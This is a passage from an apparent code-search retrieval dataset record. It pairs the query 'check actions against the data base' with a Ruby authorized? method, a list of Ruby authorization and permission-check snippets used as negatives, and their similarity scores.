"def authorize_for(controller, action)\n current_user.allowed_to?({ controller: controller, action: action }, @project)\n end",
"def action_allowed?\n ['Instructor',\n 'Teaching Assistant',\n 'Administrator'].include? current_role_name\n end",
"def action_allowed?\n ['Instructor',\n 'Teaching Assistant',\n 'Administrator'].include? current_role_name\n end",
"def action_allowed?\n ['Instructor',\n 'Teaching Assistant',\n 'Administrator'].include? current_role_name\n end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def authorize\n if (controller_name == 'region')\n return true\n end\n if (current_user.has_role?('admin')) # <-- admin is good. he need go not further.\n load_domain_config\n return true\n end\n\n if (!@config[:auth][controller_name].nil?) # <-- compare user's role with required_role on controller\n\n auth = @config[:auth][controller_name]\n\n # check if current_user has required_role\n if (!current_user.has_role?(auth[:required_role]))\n redirect_to(auth_url)\n #return false\n end\n end\n load_domain_config\n return true\n end",
"def admin\n\t\tcan :manage, :all\n\tend",
"def controller\n end",
"def controller\n end",
"def authorize_users\n authorize :user\n end",
"def controllers\n base_controller_class.constantize.descendants\n end",
"def actions\n self.class.actions\n end",
"def required?(controller, action)\n action = action.to_sym\n results = evaluate_rules(controller, action)\n \n return true if results[:permitted_to].include?(action)\n return false if results[:restricted_from].include?(action)\n results[:default] == :permit\n end",
"def action_allowed?\n ['Instructor', 'Teaching Assistant', 'Administrator'].include? current_role_name\n end",
"def actions; end",
"def action_want_to_perform(arg)\r\n self.class.actions_allowed[arg]\r\n end",
"def possible_controllers\n unless @possible_controllers\n @possible_controllers = []\n\n paths = controller_paths.select { |path| File.directory?(path) && path != \".\" }\n\n seen_paths = Hash.new {|h, k| h[k] = true; false}\n normalize_paths(paths).each do |load_path|\n Dir[\"#{load_path}/**/*_controller.rb\"].collect do |path|\n next if seen_paths[path.gsub(%r{^\\.[/\\\\]}, \"\")]\n\n controller_name = path[(load_path.length + 1)..-1]\n\n controller_name.gsub!(/_controller\\.rb\\Z/, '')\n @possible_controllers << controller_name\n end\n end\n\n # remove duplicates\n @possible_controllers.uniq!\n end\n @possible_controllers\n end",
"def show\n # authorize Admin\n end",
"def check_if_user_can_perform_action_on_resource\n resource = params[:controller].remove_prefix.camelize\n not_allowed if admin_user.cannot?(params[:action], resource, { :special => true })\n end",
"def can?(controller, action, *args)\n return true if has_role?(\"super_admin\")\n @_permissions ||= roles.inject([]){ |all, role| all + role.permissions.to_a }\n \n @_permissions.detect do |permission|\n\tpermission.controller == controller.underscore && (permission.action == 'manage_all' || permission.action == action.downcase)\n end ? true : false\n end",
"def access_whitelist\n current_user.try(:admin?) || current_user.try(:editor?) || current_user.try(:door_super?)\n end"
] |
[
"0.7380942",
"0.73360515",
"0.73083174",
"0.7238769",
"0.72176844",
"0.7095589",
"0.70884776",
"0.7086159",
"0.6982381",
"0.6916708",
"0.68623656",
"0.6855861",
"0.6779847",
"0.67345893",
"0.6712619",
"0.6700781",
"0.66937363",
"0.6676369",
"0.66665",
"0.66665",
"0.6655508",
"0.66378945",
"0.66317093",
"0.66269654",
"0.6608686",
"0.6604664",
"0.6585808",
"0.6585808",
"0.6559825",
"0.6551907",
"0.6546669",
"0.654482",
"0.654444",
"0.65345037",
"0.6528227",
"0.6518496",
"0.6514708",
"0.6498808",
"0.6486399",
"0.64756364",
"0.64756364",
"0.64630306",
"0.6443919",
"0.64351135",
"0.6426059",
"0.64103305",
"0.6366379",
"0.6351096",
"0.6351096",
"0.63310796",
"0.63303035",
"0.6328827",
"0.63241154",
"0.6317028",
"0.62939256",
"0.6287846",
"0.6277688",
"0.6276384",
"0.6264582",
"0.6260994",
"0.62573045",
"0.62573045",
"0.6252722",
"0.6247956",
"0.6240622",
"0.6236926",
"0.6236359",
"0.6231378",
"0.62293917",
"0.621778",
"0.6208895",
"0.6208354",
"0.6207083",
"0.6207083",
"0.6207083",
"0.6204102",
"0.6204102",
"0.6204102",
"0.6204102",
"0.6204102",
"0.6204102",
"0.6204102",
"0.6204102",
"0.6204102",
"0.6204102",
"0.6181821",
"0.61749786",
"0.6172115",
"0.6172115",
"0.616623",
"0.61645323",
"0.6161404",
"0.6148181",
"0.6146491",
"0.6144417",
"0.61425",
"0.6124045",
"0.61211205",
"0.6120515",
"0.61175495",
"0.61143833"
] |
0.0
|
-1
|
check actions against the data base
|
def authorized? (controller, action, resource = nil)
#only check if user has controller name present in database access array
if resource.nil && @authorized_actions[[controller.to_s,action.to_s]]
true
elsif has_rights_to?(controller)
evaluate?(controller, action, resource)
else
#return false if controller not present in array
false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def check\n \n end",
"def check\n \n end",
"def checks; end",
"def available_action?(action_name); end",
"def determine_valid_action\n\n end",
"def run_actions; end",
"def check_new_actions\n MeritAction.where(:processed => false).each do |merit_action|\n merit_action.check_rules(defined_rules)\n end\n end",
"def inner_check(action, resource)\n false\n end",
"def actions; end",
"def run_check\n check_for_default_routes\n check_for_action_globs\n check_for_cve_2014_0130\n end",
"def run_actions\n catch_exceptions do\n @success = if block_given?\n result = yield\n actions.each {|action| results[action] = result}\n !!result\n else\n actions.compact.each {|action| !skip_actions && results[action] = object.send(action)}\n results.values.all?\n end\n end\n end",
"def action_want_to_perform(arg)\r\n self.class.actions_allowed[arg]\r\n end",
"def has_action?(action)\n @actions.include? action\n end",
"def allows?(action)\n return true if self.action == 'all'\n \n case action.to_sym\n when :new, :create\n self.action == 'create'\n when :index, :show\n self.action == 'read'\n when :edit, :update\n self.action == 'update'\n when :destroy\n self.action == 'delete'\n else # fallback: if @param action is already a CRUD action\n self.action == action\n end\n end",
"def run_actions\n catch_exceptions do\n @success = if block_given?\n result = yield\n actions.each { |action| results[action] = result }\n !!result\n else\n actions.compact.each { |action| !skip_actions && (results[action] = object.send(action)) }\n results.values.all?\n end\n end\n end",
"def valid?\n \n \n if @action.nil?\n return false\n end\n\n \n \n allowed_values = [\"DELETE\", \"EXPORT\"]\n if @action && !allowed_values.include?(@action)\n return false\n end\n \n \n \n \n if @action_date.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n if @conversation_query.nil?\n return false\n end\n\n \n \n \n \n end",
"def validate_action?(action)\n\t\tres = subset?([action], @action_list)\n\t\tif ! res\n\t\t\tputs \"Action #{action}, is not valid\"\n\t\tend\n\n\t return res\n\tend",
"def validate\n plugin.check_keys info, \"QSActions/#{id}\", UNCHECKED_KEYS + KNOWN_KEYS + EXTRA_KEYS\n end",
"def check_all_here\n end",
"def execute\n begin\n return false unless check_guards\n execute_actions\n rollback_actions unless self.failed_action.nil?\n self.failed_action.nil?\n ensure\n self.save!\n end\n end",
"def migrate_actions(check)\n actions_key = \"#{check.name}:actions\"\n return unless @source_redis.exists(actions_key)\n\n states_to_add = []\n\n paginate_action(:hash, 100, actions_key) do |timestamp, action|\n timestamp_f = timestamp.to_f\n timestamp_i = timestamp.to_i\n\n start_range = Zermelo::Filters::IndexRange.new(nil, timestamp_f, :by_score => true)\n previous_state = check.states.intersect(:created_at => start_range).last\n previous_cond = previous_state.nil? ? nil : previous_state.condition\n\n state = Flapjack::Data::State.new(\n :action => action,\n :condition => previous_cond,\n :created_at => timestamp_i,\n :updated_at => timestamp_i\n )\n\n raise state.errors.full_messages.join(\", \") unless state.valid?\n states_to_add << state\n end\n\n return if states_to_add.empty?\n states_to_add.map(&:save)\n check.states.add(*states_to_add)\n end",
"def check_access\n return true if params[:controller] =~ /newrelic|login|heartbeat|awstats/\n\n #if params[:controller] =~ \"api_login\"\n # logger.info \"APILOGIN: #{params.inspect}\"\n #end\n # check controller\n if !params[:id].blank? && params[:controller] =~ /score|faq/\n if current_user && (current_user.access?(:all_users) || current_user.login_user?)\n if session[:journal_entry]\n logger.info \"REQUEST #{params[:controller]}/#{params[:action]} #{'/' + (params[:id] || \"\")} cookie: '#{session[:journal_entry]}' user: '#{current_user.id}' @ #{9.hours.from_now.to_s(:short)}\"\n end\n # cookies_required # redirects if cookies are disabled\n if params[:action] =~ /edit|update|delete|destroy|show|show.*|add|remove/\n # RAILS_DEFAULT_LOGGER.debug \"Checking access for user #{current_user.login}:\\n#{params[:controller]} id: #{params[:id]}\\n\\n\"\n id = params[:id].to_i\n return check_controller_access(params[:controller], params[:answers]) # access\n # end\n else\n puts \"ACCESS FAILED: #{params.inspect}\"\n params.clear\n redirect_to login_path\n end\n end\n return true\n end\n\n def check_controller_access(controller, answers)\n case controller\n when /faq/\n access = current_user.access?(:superadmin) || current_user.access?(:admin)\n when /score_reports|answer_reports/ # TODO: test this one!!!\n access = if answers\n answers.keys.all? { |entry| current_user.has_journal? entry }\n else\n current_user.has_journal? id\n end\n when /scores/\n access = current_user.access? :superadmin\n when /group|role/\n access = current_user.access? :superadmin\n else\n puts \"APP CHECKACCESS #{params.inspect}\"\n access = current_user.access? :superadmin\n end\n return access\n end\n end",
"def execute_hook_action\n @rename = false\n name = @rec['host']['name']\n id = @rec['host']['id']\n \n case @action\n when 'create'\n sql = \"insert into host (id, name) values (?, ?)\"\n params = [id, name]\n when 'update'\n # Check if we are renaming the host\n @old_name = @db.get_first_row('select name from host where id = ?', id)\n @old_name = @old_name[0] unless @old_name.nil?\n if @old_name.nil?\n warn 'received an update for a non-existent host'\n else\n @rename = @old_name != name\n end\n debug \"checking for a rename: old=#{@old_name} new=#{name} rename?=#{@rename}\"\n \n sql = 'update host set name = ? where id = ?'\n params = [name, id]\n when 'destroy'\n sql = 'delete from host where id = ?'\n params = [id]\n else\n raise ArgumentError, \"unsupported action: #{ARGV[0]}\"\n end\n debug \"updating database; id=#{id} name=#{name} sql=#{sql}\"\n stm = @db.prepare sql\n stm.bind_params *params\n stm.execute\n end",
"def check_execute\n unless executed?\n execute\n end\n end",
"def actions?\n non_empty?(@actions)\n end",
"def integrity_check\n @page_title = _('Integrity_check')\n @page_icon = 'lightning.png'\n @help_link = \"http://wiki.kolmisoft.com/index.php/Integrity_Check\"\n @default_user_warning = false\n\n @destinations_without_dg = Destination.find(:all, :conditions => \"destinationgroup_id = 0\", :order => \"direction_code ASC\")\n @dialplans = Dialplan.find(:all, :conditions => \"dptype = 'ivr' and data8 = 1\")\n @actions = Action.find(:all, :joins => \" JOIN users ON (actions.user_id = users.id) \", :conditions => \"action = 'error' AND processed = '0' \")\n @devices = Device.find(:all, :conditions => \"LENGTH(secret) < 8 AND LENGTH(username) > 0 AND device_type != 'H323' AND username NOT LIKE 'mor_server_%' AND user_id != -1\")\n @users = User.find(:all, :conditions => [\"password = SHA1('') or password = SHA1(username)\"])\n @default_users_erors = Confline.get_default_user_pospaid_errors\n if @default_users_erors and @default_users_erors.size.to_i > 0\n @default_user_warning = true\n end\n @users_postpaid_and_loss_calls = User.find(:all, :conditions => [\"postpaid = 1 and allow_loss_calls = 1\"])\n if ccl_active?\n @insecure_devices = Device.where(\"host='dynamic' AND insecure LIKE '%invite%' AND insecure != 'invite' AND device_type != 'SIP'\").all\n else\n @insecure_devices = Device.where(\"host='dynamic' AND insecure LIKE '%invite%' AND insecure != 'invite'\").all\n end\n\n if @actions.size.to_i > 0\n @action = Action.find(:first, :joins => \" JOIN users ON (actions.user_id = users.id) \", :conditions => \"action = 'error' AND processed = '0' \", :order => \"date ASC\")\n date = @action.date.to_time - 1.day\n session[:year_from] = date.year\n session[:month_from] = date.month\n session[:day_from] = date.day\n change_date\n end\n\n end",
"def action_allowed?(action_name, user)\n return false\n end",
"def available_actions\n fail NotImplementedError\n end",
"def migrate_actions\n source_keys_matching('?*:?*:actions').each do |timestamp_key|\n timestamp_key =~ /\\A(#{ENTITY_PATTERN_FRAGMENT}):(#{CHECK_PATTERN_FRAGMENT}):actions\\z/\n entity_name = $1\n check_name = $2\n if entity_name.nil? || check_name.nil?\n raise \"Bad regex for #{timestamp_key}\"\n end\n\n check = find_check(entity_name, check_name)\n\n timestamps = @source_redis.hgetall(timestamp_key)\n timestamps.each_pair do |timestamp, action|\n\n start_range = Zermelo::Filters::IndexRange.new(nil, time, :by_score => true)\n previous_state = check.states.intersect(:created_at => start_range).last\n previous_cond = previous_state.nil? ? nil : previous_state.condition\n\n state = Flapjack::Data::State.new(:action => action,\n :condition => previous_cond, :created_at => timestamp,\n :updated_at => timestamp)\n\n state.save\n raise state.errors.full_messages.join(\", \") unless state.persisted?\n\n check.states << states\n end\n end\n end",
"def available_action(valera)\n actions.select { |action| ValeraChecker.send(:check, valera, action) }\n end",
"def run_authorization_check\n if instance_authority_resource.is_a?(Array)\n # Array includes options; pass as separate args\n authorize_action_for(*instance_authority_resource)\n else\n # *resource would be interpreted as resource.to_a, which is wrong and\n # actually triggers a query if it's a Sequel model\n authorize_action_for(instance_authority_resource)\n end\n end",
"def actions_available?(user)\n actions_allowable?(user)\n end",
"def single_actions?\n false\n end",
"def has_access?( action )\n unless( action_name == :show && @sir_item.sir_log.permitted_to_access?( current_user.id )) ||\n @sir_item.sir_log.permitted_to_update?( current_user.id )\n render_no_access \n return false\n end\n g = [ :new, :create ].include?( action_name ) ? @sir_item.resp_next_entry : @sir_entry.resp_this_entry\n unless current_user.permission_to_access( feature_identifier, action, g.id )\n render_no_permission \n return false\n end\n true\n end",
"def has_actions?\n if self.actions == []\n return false\n else\n return true\n end\n end",
"def _valid_action_name?(action_name); end",
"def store_action?(action)\n %w(AddCard AddCardWithUniqueReference RemoveCard).include? action\n end",
"def check_item_actions(item_name, input)\n item = WWTD.db.get_item_by_name(item_name)\n actions = item.actions.split(', ')\n if input.length > 1\n input = input.join(' ')\n else\n input = input.first\n end\n\n if actions.include?(input)\n return success :action => input\n else\n return failure('Sorry, that is not a known action for that.')\n end\n end",
"def check_action\n if changed.include?('accepted') && accepted?\n if action == 'add'\n person.organizational_labels.create!(organization_id: organization_id, label_id: label_id)\n #else\n #person.organizational_labels.where(organization_id: organization_id, label_id: label_id).first.try(:destroy)\n end\n end\n true\n end",
"def authorization_check(controller, action, request, context = {})\n # Determine the controller to look for\n controller_method = [controller, action].join(\"/\")\n # Get the privilegesets\n privilege_sets = Privilege.select(controller_method, request)\n # Check the privilege sets\n check_privilege_sets(privilege_sets, context)\n end",
"def check_controller_action\n return unless self.class.where(controller: controller, action: action).where.not(id: id).exists?\n errors.add(:controller_action, I18n.t('activerecord.errors.models.page_settings.attributes.controller_action.taken'))\n end",
"def check_if_user_can_perform_action_on_resources\n if @item && @item.is_a?(Typus.user_class)\n check_if_user_can_perform_action_on_user\n else\n not_allowed if admin_user.cannot?(params[:action], @resource.model_name)\n end\n end",
"def action_run\n end",
"def do_action(server, action)\n puts \"Checking action #{action} on server #{server.name}.\"\n if server.state == \"ACTIVE\"\n puts \"Doing action #{action} on server #{server.name}.\"\n server.send(action)\n end\n end",
"def authorized?(controller, action=\"index\")\n\n return true if self.admin?\n\n query = <<-EOS\nSELECT DISTINCT #{UserEngine.config(:permission_table)}.* \nFROM #{UserEngine.config(:permission_table)}, #{UserEngine.config(:role_table)}, \n #{UserEngine.config(:permission_role_table)}, #{UserEngine.config(:user_role_table)},\n #{LoginEngine.config(:user_table)}\nWHERE #{LoginEngine.config(:user_table)}.id = :person\nAND #{LoginEngine.config(:user_table)}.id = #{UserEngine.config(:user_role_table)}.user_id\nAND #{UserEngine.config(:user_role_table)}.role_id = #{UserEngine.config(:role_table)}.id\nAND #{UserEngine.config(:role_table)}.id = #{UserEngine.config(:permission_role_table)}.role_id\nAND #{UserEngine.config(:permission_role_table)}.permission_id = #{UserEngine.config(:permission_table)}.id\nAND #{UserEngine.config(:permission_table)}.controller = :controller\nAND #{UserEngine.config(:permission_table)}.action = :action\nEOS\n\n result = Permission.find_by_sql([query, {:person => self.id, \n :controller => controller.to_s, :action => action.to_s}]) \n\n return (result != nil) && (!result.empty?) \n end",
"def has_access?( action )\n unless @sir_log.permitted_to_access?( current_user.id )\n render_no_access\n return false\n end\n return true if [ 'index', 'new', 'create', 'show_stats' ].include?( action_name )\n unless current_user.permission_to_access( feature_identifier, action, @sir_item.group_id )\n render_no_permission \n return false \n end\n return true\n end",
"def play_match?(action)\n methods = play_actions.lookup_method(action)\n if methods\n methods[:query].call\n else\n raise Exceptions::UnknownOperation, \"Unknown action: #{action}\"\n end\n end",
"def check_features\n case params[:action]\n when \"index\"\n current_features.include?('shift_index') ? true : invalid_features\n when \"new\"\n current_features.include?('shift_new') ? true : invalid_features\n when \"edit\"\n current_features.include?('shift_edit') ? true : invalid_features\n when \"destroy\"\n current_features.include?('shift_delete') ? true : invalid_features\n end\n # return true\n end",
"def check_permissions\n\n case params[:action]\n when 'new'\n @item = @model.new\n action = \"add\" unless can_add? @item\n when 'edit'\n action = \"edit\" unless can_edit? @item\n when 'destroy'\n action = \"destroy\" unless can_destroy? @item\n when 'toggle'\n action = \"toogle\" unless can_toggle? @item\n end\n\n if action\n flash[:notice] = \"You can't #{action} a #{@item.class.to_s.titleize}.\"\n redirect_to :controller => 'typus', :action => 'index', :model => params[:model]\n end\n\n end",
"def check!\n true\n end",
"def dataProviderCheck()\n\n logger.debug \"#{self.class.to_s}:#{__method__}: #{__LINE__}: DataProviderCheck\"\n\n dataProviderInit\n\n check = @fileCheck.() if @useFileProvider\n check = @esbCheck.() if @useEsbProvider\n\n logIfUnavailable(check, \"verify the check url configuration\")\n\n check\n end",
"def actions\n client.actions\n end",
"def check_record; end",
"def get_actions ()\n\n #acciones del personaje que esta jugando\n player_character.base_card.base_actions.each do |action|\n actions.create!(base_action_id: action.id)\n end\n\n #acciones por distritos morados\n\n purple_districts = districts_on_game.where(\"colour = 'purple' AND name not in ('lighthouse', 'bell_tower')\")\n purple_districts.each do |district|\n district.base_card.base_actions.each do |action|\n actions.create!(base_action_id: action.id)\n end\n end\n\n\n character = player_character.base_card.name\n\n case character\n when 'merchant'\n current_coins = coins\n update_attribute(:coins, current_coins + 1)\n when 'architect'\n card_list = party.cards.districts.where(\"player_id is NULL\").order('position').limit(2)\n card_list.each do |card|\n Card.update(card.id, :state => 'ONHAND', :player_id => id)\n end\n end\n\n\n\n end",
"def test_set3_14_check() \n prin_name = 'Klubicko'\n acc_type = 'allow'\n priv_name = 'SELECT'\n res_ob_type = 'doc'\n res_ob_adrs='/db/temp'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n acc_type = 'deny'\n res_ob_adrs='/db/temp/test'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs) \n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(false, access)\n \n res_ob_adrs='/db/temp'\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(true, access)\n end",
"def check ; true ; end",
"def has_access(atts)\n atts[:controller] = atts[:controller] ? atts[:controller] : params[:controller]\n atts[:action] = atts[:action] ? atts[:action] : params[:action]\n atts[:user] = atts[:user] && atts[:user].is_a?(User) ? atts[:user] : current_user\n atts[:entity_id] = params[:id] ? params[:id] : nil\n\n logger.debug \"atts[:controller]: \" + atts[:controller]\n logger.debug \"atts[:action]: \" + atts[:action]\n logger.debug \"atts[:user]: \" + (atts[:user] ? atts[:user].username : \"\")\n logger.debug \"atts[:entity_id]: \" + (atts[:entity_id] ? atts[:entity_id].to_s : \"\")\n\n case atts[:controller]\n when \"comments\"\n @res = comments_filter(atts[:action], {\n :user => atts[:user],\n :comment_id => atts[:entity_id]\n })\n when \"users\"\n @res = users_filter(atts[:action], {\n :user => atts[:user],\n :entity_id => atts[:entity_id]\n })\n when \"players\"\n @res = players_filter(atts[:action], {\n :user => atts[:user],\n :player_id => atts[:entity_id]\n })\n when \"leagues\"\n @res = leagues_filter(atts[:action], {\n :user => atts[:user],\n :league_id => atts[:entity_id]\n })\n when \"teams\"\n @res = teams_filter(atts[:action], {\n :user => atts[:user],\n :team_id => atts[:entity_id]\n })\n when \"games\"\n @res = games_filter(atts[:action], {\n :user => atts[:user],\n :game_id => atts[:entity_id]\n })\n when \"halls\"\n @res = halls_filter(atts[:action], {\n :user => atts[:user],\n :hall_id => atts[:entity_id]\n })\n when \"images\"\n @res = images_filter(atts[:action], {\n :user => atts[:user],\n :image_id => atts[:entity_id]\n })\n when \"plugins\"\n @res = plugins_filter(atts[:action], {\n :user => atts[:user],\n })\n when \"wikis\"\n @res = wikis_filter(atts[:action], {\n :user => atts[:user],\n })\n when \"events\"\n @res = events_filter(atts[:action], {\n :user => atts[:user],\n })\n else\n @res = true\n end\n\n # kdyz nemam prava, nemam pristup\n if !@res\n access_denied\n end\n end",
"def any_action?\n admin?\n end",
"def execute!\n @actions.each do |action|\n action.call\n end\n end",
"def can_run_by_profile?(action)\r\nreturn false unless self.active?\r\nif self.new_record?\r\n prof = Profile.where(:name => 'Not Logged').first\r\n return prof.can_run?(action) if prof\r\nelsif action.is_a?(Hash)\r\n cond = [\"profile_id IN (?) AND accesses.action_sid = ? AND accesses.table_sid = ?\", self.profile_ids, action[:action_sid], action[:table_sid]]\r\n return ProfileAccess.where(cond).include(:access).first\r\nelsif action.is_a?(Access)\r\n return ProfileAccess.exists?(:profile_id => self.profile_ids, :access_id => action.id)\r\nend\r\nend",
"def test_set3_16_check()\n prin_name = 'Klubicko'\n acc_type = 'allow'\n priv_name = 'SELECT'\n res_ob_type = 'doc'\n res_ob_adrs='/db/temp'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n acc_type = 'deny' \n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(false, access)\n end",
"def check_db?\n @check_db == true\n end",
"def action_argument_required?\n !AVAILABLE_ACTIONS.empty?\n end",
"def can?(action)\n @allowed_fields.include? action\n end",
"def check_can_access\n res = false\n read_actions = [ \"index\", \"list\", \"edit\" ]\n new_actions = [ \"new\", \"create\" ]\n edit_actions = [ \"edit\", \"update\", \"destroy\", \"update_logo\" ]\n\n res ||= (action_name == \"show_logo\")\n res ||= current_user.admin?\n\n if current_user.option_externalclients?\n res ||= (current_user.read_clients? and read_actions.include?(action_name))\n res ||= (current_user.edit_clients? and edit_actions.include?(action_name))\n res ||= (current_user.create_clients? and new_actions.include?(action_name))\n end\n\n if !res\n flash[\"notice\"] = _(\"Access denied\")\n redirect_from_last\n end\n end",
"def valid?(action)\n self.respond_to?(action.to_sym) && VALID_ACTIONS.include?(action)\n end",
"def actions\n @actions\n end",
"def general_action(action_name)\n case action_name\n when 'resource_status'\n if record.onsite_monitoring\n record.resource_status || :not_available\n else\n nil\n end\n when 'stop'\n set_state(:terminating)\n @record.clean_up_database!\n nil\n when 'restart'\n @record.clean_up_database!\n nil\n else\n nil\n end\n end",
"def check_features\n case params[:action]\n when \"index\"\n current_features.include?('holiday_index') ? true : invalid_features\n when \"new\", \"create\"\n current_features.include?('holiday_new') ? true : invalid_features\n when \"edit\", \"update\"\n current_features.include?('holiday_edit') ? true : invalid_features\n when \"destroy\"\n current_features.include?('holiday_delete') ? true : invalid_features\n end\n # return true\n end",
"def check_rep\n return unless @@check\n User.all.each {|user| raise \"user #{user.name} not registered\" unless user_state.has_key? user}\n user_state.each {|user, state| raise \"illegal state #{state}\" unless @@states.include? state}\n user_state.\n select {|user, state| state==:queued}.\n each {|user, state| raise \"#{user.name} is queued but has no request\" if user.request.nil?}\n Request.all.each {|r| raise \"#{r} exists, but #{r.user} is not queued\" unless\n user_state[r.user] == :queued}\n User.all.\n select {|user| user_state[user] == :invited}.\n each {|user| raise \"#{user.name} is invited but there is no invite\" if user.invite.nil?}\n Invite.all.each {|invite| invite.users.each {|user|\n raise \"invite exists, but #{user.name} not invited\" unless\n user_state[user] == :invited}}\n User.all.\n select {|user| user_state[user] == :playing}.\n each {|user| raise \"#{user.name} is playing but games[#{user.name}] maps to nil\" if games[user.id].nil?}\n User.all.\n each {|user| raise \"#{user.name} is #{user_state[user]} but games[#{user.name}] maps to a game\" unless\n (games[user.id].nil? || user_state[user] == :playing)}\n User.all.\n each {|user| raise \"#{user.name} is invited but their old request is not serialized\" if old_request.nil?}\n User.all.\n each {|user| raise \"#{user.name} is #{user_state[user]}, but an old request is serialized\" if\n (user_state[user] != :invited && !old_request[user].nil?)}\n end",
"def check_set_up(privileges)\n privileges.keys.each{|action| check_assertion(privileges[action]) }\n end",
"def role_actions?(group_id, role_types)\n puts group_id\n puts role_types\n roles = URole.where(['group_id = ? and uid = ? and role_type = ? and is_revoked = ?', group_id, id, role_types, 0])\n success = true\n success = false if roles.blank?\n success\n end",
"def check_events!\n return unless RegistryEvent.exists?(status: RegistryEvent.statuses[:fresh])\n\n raise ActiveRecord::Rollback\n end",
"def test_set3_15_check() \n prin_name = 'Klubicko'\n acc_type = 'allow'\n priv_name = 'SELECT'\n res_ob_type = 'doc'\n res_ob_adrs='/db/temp'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n \n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(true, access)\n \n res_ob_adrs='/db/temp/test' \n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(false, access)\n \n res_ob_adrs='/db/temp/test/hokus'\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(false, access)\n end",
"def is_valid_action?(aid)\n return aid > 0 && aid <= @total_actions\n end",
"def check_permission(ctrl, actions)\n actions = [actions] unless actions.is_a? Array\n actions.each do |action|\n if test_permission(ctrl.controller_name, action)\n return true\n end\n end\n false\n end",
"def actions\n return self.class.actions_pool if self.params[\"screen\"].blank?\n self.class.actions_pool.select {|action| valid_action?(action, self.params[\"screen\"]) } \n end",
"def action?(*action)\n \t\taction.include?(params[:action])\n \tend",
"def access action\n\t\tif current_user\n \treturn true\n else\n \treturn false\n end\n\n\tend",
"def check!\n check\n save\n end",
"def available_actions\n [\n Action::BuyCertificate,\n Action::Pass,\n Action::SellCertificates,\n Action::StartCompany\n ]\n end",
"def display_possible_actions\n available_actions = \"\"\n Action.where({ state_id: session['state_id'] }).find_each do |trigger|\n if trigger.trigger[0] != '.'\n available_actions += trigger.trigger + \" \"\n end\n end\n actions_list = available_actions.strip.split.join(\", \")\n action = \"Maybe try one of: #{actions_list}\"\n update_state_log('system', action)\n action\n end",
"def is_authorized_to_perform(action)\n permission = role.shift_management_permissions_table.read_attribute(:\"#{action}\")\n return permission != :nobody\n end",
"def action_defined?(action, controller)\n if registered?(controller)\n return true if storage[controller][:actions].include?(action)\n\n fail Vedeu::Error::ActionNotFound,\n \"#{action} is not registered for #{controller}.\".freeze\n\n else\n fail Vedeu::Error::ControllerNotFound,\n \"#{controller} is not registered.\".freeze\n\n end\n end",
"def valid?(actions, sender, options={})\n actions = [actions].flatten\n actions.each do |action|\n result = lookup(action, sender, options)\n return true if result && result.success?\n end\n false\n end",
"def action_defined?(action, controller)\n if registered?(controller)\n return true if storage[controller][:actions].include?(action)\n\n fail Vedeu::Error::ActionNotFound,\n \"#{action} is not registered for #{controller}.\"\n\n else\n fail Vedeu::Error::ControllerNotFound,\n \"#{controller} is not registered.\"\n\n end\n end",
"def can(action,resource)\n actions = [*action]\n actions << :all\n ruleset = resource.rules.where('permittee' => self, 'action' => actions)\n if ruleset.count > 0\n return true\n end\n return false\n end",
"def manage(app_name, instance_name, action)\n case action\n when :checkpoint\n dump_database app_name, instance_name\n when :rollback\n admin_database app_name, instance_name, :drop\n admin_database app_name, instance_name, :create\n load_database app_name, instance_name\n configure_rails app_name, instance_name\n migrate_database app_name, instance_name\n when :rekey\n admin_database app_name, instance_name, :rekey\n configure_rails app_name, instance_name\n when :db_reset\n admin_database app_name, instance_name, :drop\n admin_database app_name, instance_name, :create\n migrate_database app_name, instance_name\n end\n end",
"def check_owner_and_address\n check_owner\n check_address\n check_access\n end",
"def check_authorization\r\n params[:table] ||= params[:t] || CmsHelper.form_param(params)\r\n # Only show menu\r\n return login if params[:id].in?(%w(login logout test))\r\n\r\n table = params[:table].to_s.strip.downcase\r\n set_default_guest_user_role if session[:user_roles].nil?\r\n # request shouldn't pass\r\n if table != 'dc_memory' and \r\n (table.size < 3 or !dc_user_can(DcPermission::CAN_VIEW))\r\n return render(action: 'error', locals: { error: t('drgcms.not_authorized')} )\r\n end\r\n dc_form_read\r\n\r\n # Permissions can be also defined on form\r\n #TODO So far only can_view is used. Think about if using other permissions has sense\r\n can_view = @form.dig('permissions','can_view')\r\n if can_view.nil? or dc_user_has_role(can_view)\r\n extend_with_control_module\r\n else\r\n render(action: 'error', locals: { error: t('drgcms.not_authorized')} )\r\n end \r\nend",
"def check_features\n case params[:action]\n when \"index\"\n current_features.include?('employee_index') ? true : invalid_features\n when \"export\"\n current_features.include?('employee_export') ? true : invalid_features\n when \"new\"\n current_features.include?('employee_new') ? true : invalid_features\n when \"edit\"\n current_features.include?('employee_edit') ? true : invalid_features\n when \"delete_multiple\"\n current_features.include?('employee_delete') ? true : invalid_features\n when \"show\"\n current_features.include?('employee_detail') ? true : invalid_features\n when \"multiple_user\"\n current_features.include?('employee_user') ? true : invalid_features\n # Mutasi\n when \"mutasi\"\n current_features.include?('mutation_index') ? true : invalid_features\n # Formasi\n when \"formasi\"\n current_features.include?('formation_index') ? true : invalid_features\n # Status\n when \"status\"\n current_features.include?('status_index') ? true : invalid_features\n end\n # return true\n end",
"def authorize_records(action, model_class)\n true\n end",
